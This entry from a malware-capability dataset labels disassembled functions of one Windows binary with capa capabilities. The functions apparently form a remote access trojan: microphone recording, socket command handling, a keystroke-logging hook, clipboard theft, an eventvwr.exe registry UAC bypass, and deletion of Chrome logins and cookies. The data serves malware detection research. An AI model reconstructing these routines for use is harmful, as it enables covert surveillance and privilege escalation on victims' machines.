joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40147c
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [0x415194]
mov edi, 0x4151c0
mov ecx, edi
push dword [ebp + 8]
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::resize_unsigned_int_]
mov esi, dword [ebp + 8]
push dword [ebp + 8]
mov ecx, edi
shl esi, 5
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov ecx, dword [0x41519c]
push 0x20
mov dword [esi + ecx], eax
mov eax, dword [0x41519c]
mov ecx, dword [0x415194]
mov dword [esi + eax + 4], ecx
mov ecx, dword [0x41519c]
xor eax, eax
mov dword [esi + ecx + 8], eax
mov ecx, dword [0x41519c]
mov dword [esi + ecx + 0xc], eax
mov ecx, dword [0x41519c]
mov dword [esi + ecx + 0x10], eax
mov ecx, dword [0x41519c]
mov dword [esi + ecx + 0x14], eax
mov eax, dword [0x41519c]
add eax, esi
push eax
push dword [0x415158]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x41519c]
push 0x20
add esi, eax
push esi
push dword [0x415158]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
ret

Function at 0x402168
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ecx + 4]
push edi
lea esi, [ebp + 8]
mov edi, eax
push 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push dword [ecx]
movsd dword es:[edi], dword [esi]
call sub.WS2_32.dll_connect
pop edi
pop esi
test eax, eax
jne 0x40218d
mov al, 1
jmp 0x402194
call sub.WS2_32.dll_WSAGetLastError
xor al, al
pop ebp
ret 0x10

Function at 0x4021eb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 0x14], eax
xor eax, eax
push eax
push eax
push ecx
push 0x40220a
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret 4
Function at 0x40221c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, ecx
lea eax, [ebp - 1]
push edi
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
and dword [esi + 0x2c], 0
push dword [esi + 0x30]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ebx, eax
push 0
push dword [esi + 0x30]
push ebx
push dword [esi]
call sub.WS2_32.dll_recv
mov edi, eax
test edi, edi
jle 0x4022ad
lea eax, [ebp - 1]
lea ecx, [ebp - 0x34]
push eax
push edi
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int__class_std::allocator_char__const__]
push eax
lea ecx, [ebp - 0x24]
call dword [0x410264]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub dword [esi + 0x2c], edi
cmp dword [esi + 0x2c], 0
jg 0x4022ad
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov ecx, esi
push dword [ebp + 8]
push eax
call fcn.004022ea
push ebx
call dword [sym.imp.MSVCRT.dll_free]
test edi, edi
pop ecx
jg 0x402245
mov ecx, esi
call fcn.004022e6
test al, al
je 0x4022cd
push 1
mov ecx, esi
call fcn.00402791
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4025ef
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push 6
push 1
push 0
call sub.WS2_32.dll_socket
mov esi, eax
push 0x10
push 0x415278
push esi
call sub.WS2_32.dll_connect
test eax, eax
jne 0x40262f
push esi
lea eax, [ebp + 8]
sub esp, 0x10
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00402504
add esp, 0x14
cmp byte [ebp + 0x18], 0
je 0x402638
push esi
call sub.WS2_32.dll_closesocket
or esi, 0xffffffff
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x402646
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x34], bl
jne 0x4026ea
cmp byte [0x415938], bl
push edi
mov edi, dword [ebp + 8]
je 0x4026ce
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [ebp - 2]
push edi
push eax
movzx eax, word [ebp - 4]
push eax
lea ecx, [ebp - 0x30]
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
lea eax, [ebp + 0xb]
push str.Enabled___Timeout:__i_seconds__n
push eax
push str._02i:_02i:_02i:_03i__KeepAlive_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x20]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x18
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push ebx
push esi
push 0x402823
push ebx
push ebx
mov byte [esi + 0x34], 1
mov dword [esi + 0x38], edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
pop edi
jmp 0x4026ec
xor al, al
pop esi
pop ebx
leave
ret 4
Function at 0x402a78
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, 0x410668
push edi
push esi
push str.mscfile_shellopencommand
lea eax, [ebp - 0x14]
push closesocket
push eax
call fcn.00408ef1
mov edi, 0x415950
add esp, 0x10
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
inc eax
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.origmsc
mov ecx, 0x4157e8
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov edi, closesocket
push eax
push edi
call fcn.004090d0
add esp, 0x1c
lea eax, [ebp - 1]
push 2
sub esp, 0x10
mov ecx, esp
push eax
push 0x41580c
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push esi
push str.SoftwareClassesmscfile_shellopencommand
push edi
call fcn.00408fda
push str.eventvwr.exe
lea eax, [ebp - 0x24]
push 0x34
push eax
call fcn.0040712f
add esp, 0x2c
xor edi, edi
lea ecx, [ebp - 0x24]
push edi
push esi
push esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x410718
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jbe 0x402b43
push edi
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
xor al, al
pop esi
leave
ret
Function at 0x403474
Capabilities:
Terminate thread

Disassembly:
mov eax, 0x40ffb8
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, 0x415698
mov ecx, esi
call fcn.00403556
cmp edi, eax
jae 0x4034f4
push edi
mov ecx, esi
call fcn.0040356c
mov eax, dword [eax]
cmp eax, dword [ebp + 8]
jne 0x4034e8
push edi
mov ecx, esi
call fcn.0040356c
mov eax, dword [eax + 8]
push dword [eax]
call sub.WS2_32.dll_closesocket
push 0
push edi
mov ecx, esi
call fcn.0040356c
push dword [eax + 4]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov ecx, esi
call fcn.00408633
lea ecx, [edi + edi*2]
lea eax, [eax + ecx*4]
push eax
mov ecx, esi
call fcn.00403599
inc edi
mov dword [ebp - 0x14], edi
jmp 0x403494
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403774
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
lea eax, [ebp + 8]
push edi
push eax
lea ecx, [esi + 0x50]
mov byte [esi + 0x38], 1
call dword [0x410264]
mov ecx, esi
call fcn.0040374a
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
xor edi, edi
push edi
push edi
push esi
push 0x40382c
push edi
push edi
call ebx
cmp dword [esi], edi
jne 0x4037b8
push edi
push edi
push esi
push 0x40380c
push edi
push edi
call ebx
push edi
push edi
push esi
push 0x40383b
push edi
push edi
call ebx
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x4037d4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 0x50]
call dword [0x410264]
xor eax, eax
cmp byte [esi + 0x38], al
jne 0x4037fe
push eax
push eax
push esi
push 0x40381b
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop esi
pop ebp
ret 0x10

Function at 0x403877
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [0x415758], esi
cmp dword [esi], edi
jne 0x4038a5
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
push 0x40385c
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push edi
push edi
lea eax, [ebp - 0x1c]
push edi
push eax
call esi
test eax, eax
je 0x4038d5
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push edi
push edi
lea eax, [ebp - 0x1c]
push edi
push eax
jmp 0x4038b2
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x40425f
Capabilities:
Create thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x39], bl
jne 0x4042a7
cmp byte [esi + 0x38], bl
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
jne 0x404297
call fcn.0040374a
cmp dword [esi], ebx
jne 0x40428b
push ebx
push ebx
push esi
push 0x40380c
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40383b
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40384a
push ebx
push ebx
call edi
mov dword [esi + 0x28], eax
pop edi
pop esi
pop ebx
ret

Function at 0x404336
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp byte [esi + 0x39], bl
je 0x404382
mov edi, dword [sym.imp.KERNEL32.DLL_TerminateThread]
push ebx
push dword [esi + 0x28]
call edi
cmp eax, 1
jne 0x404382
push dword [esi + 0x30]
mov byte [esi + 0x39], bl
mov dword [esi + 0x28], ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp byte [esi + 0x38], bl
jne 0x40437e
mov eax, dword [esi]
cmp eax, ebx
je 0x40437e
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40380c
mov dword [esi], ebx
call edi
mov al, 1
jmp 0x404384
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x404388
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x38], bl
je 0x4043ba
cmp byte [esi + 0x39], bl
mov byte [esi + 0x38], bl
jne 0x4043b6
mov eax, dword [esi]
cmp eax, ebx
je 0x4043b6
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40380c
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov dword [esi], ebx
mov al, 1
jmp 0x4043bc
xor al, al
pop esi
pop ebx
ret

Function at 0x4050fc
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x405128
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x405128
lea eax, [ebp - 1]
push eax
push esi
jmp 0x405131
lea eax, [ebp - 1]
push eax
push 0x410668
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
pop esi
leave
ret 4
Function at 0x40520c
Capabilities:
Delete directory
Delete file

Disassembly:
push ebx
push esi
mov esi, ecx
lea ecx, [esi + 0x50]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
setne bl
add esi, 0x60
push 0x410668
push esi
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x405249
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
mov al, bl
pop esi
pop ebx
ret

Function at 0x40524e
Capabilities:
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov esi, ecx
push 0
push 0x40382c
and byte [esi + 0x38], 0
call edi
mov eax, dword [esi]
test eax, eax
je 0x40527e
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
and dword [esi], 0
push 0
push 0x40380c
call edi
mov ecx, esi
call fcn.0040520c
pop edi
pop esi
ret
Function at 0x405622
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push eax
push str.UserProfile
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x4056bc
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
dec eax
je 0x4056b0
dec eax
je 0x405683
xor bl, bl
jmp 0x4056de
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x4056e9
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
jmp 0x40568d
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x4056ec
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push eax
push str.UserProfile
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x405786
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
dec eax
je 0x40577a
dec eax
je 0x40574d
xor bl, bl
jmp 0x4057a8
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_Cookies_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x4057b3
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
jmp 0x405757
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_Cookies_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret